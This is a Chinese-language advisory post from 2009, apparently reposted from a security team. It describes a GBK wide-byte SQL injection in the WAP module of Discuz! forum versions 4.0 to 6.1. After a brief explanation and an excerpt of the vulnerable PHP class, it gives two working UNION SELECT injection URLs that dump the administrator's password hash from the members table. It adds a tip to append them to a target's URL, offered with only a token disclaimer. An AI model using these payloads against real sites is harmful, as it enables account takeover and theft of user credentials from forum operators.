Discuz!论坛wap功能模块编码的注射漏洞

    [晴 March 31, 2009 09:51 | by !4p47hy ]
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
影响版本:
Discuz!4.0.0
Discuz!4.1.0
Discuz!5.0.0
Discuz!5.5.0
Discuz!6.0.0
Discuz!6.1.0
描述:
Discuz!论坛系统是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。Discuz! 在代码质
量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在广大用户中有良好的口碑
由于 PHP 对 多字节字符集的支持存在问题,在各种编码相互转换过程中,有可能引发程序溢出和程序错误
提交一个 '
转意成 \'
然后转成gbk的,\和'就变成两个字符了
'就可以成功的引入
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
if(defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/');
class Chinese {
var $table = '';
var $iconv_enabled = false;
var $unicode_table = array();
var $config = array
(
'SourceLang' => '',
'TargetLang' => '',
'GBtoUnicode_table' => 'gb-unicode.table',
'BIG5toUnicode_table' => 'big5-unicode.table',
);

function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) {
$this->config['SourceLang'] = $this->_lang($SourceLang);
$this->config['TargetLang'] = $this->_lang($TargetLang);
if(!function_exists(’iconv’) && $this->config['TargetLang'] != ‘BIG5′ && !$ForceTable) {
$this->iconv_enabled = true;
} else {
$this->iconv_enabled = false;
$this->OpenTable();
}
}
function _lang($LangCode) {
$LangCode = strtoupper($LangCode);
if(substr($LangCode, 0, 2) == ‘GB’) {
return ‘GBK’;
} elseif(substr($LangCode, 0, 3) == ‘BIG’) {
return ‘BIG5′;
} elseif(substr($LangCode, 0, 3) == ‘UTF’) {
return ‘UTF-8′;
} elseif(substr($LangCode, 0, 3) == ‘UNI’) {
return ‘UNICODE’;
}
}

function _hex2bin($hexdata) {
for($i=0; $i < strlen($hexdata); $i += 2) {
$bindata .= chr(hexdec(substr($hexdata, $i, 2)));
}
return $bindata;
}
chinese.class.php (utf-8不能利用)
searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&do=submit
/space.php?username=%cf'%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,password,50,51,52,53,54,55,56,57,database(),59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84%20from%20cdb_members%20where%20uid=1/*
直接放在url后面可以爆出id=1的用户密码,还可以自己根据需要更改,要注意一点的是,目标必须开了WAP,而且没有打上补丁,WAP浏览吧
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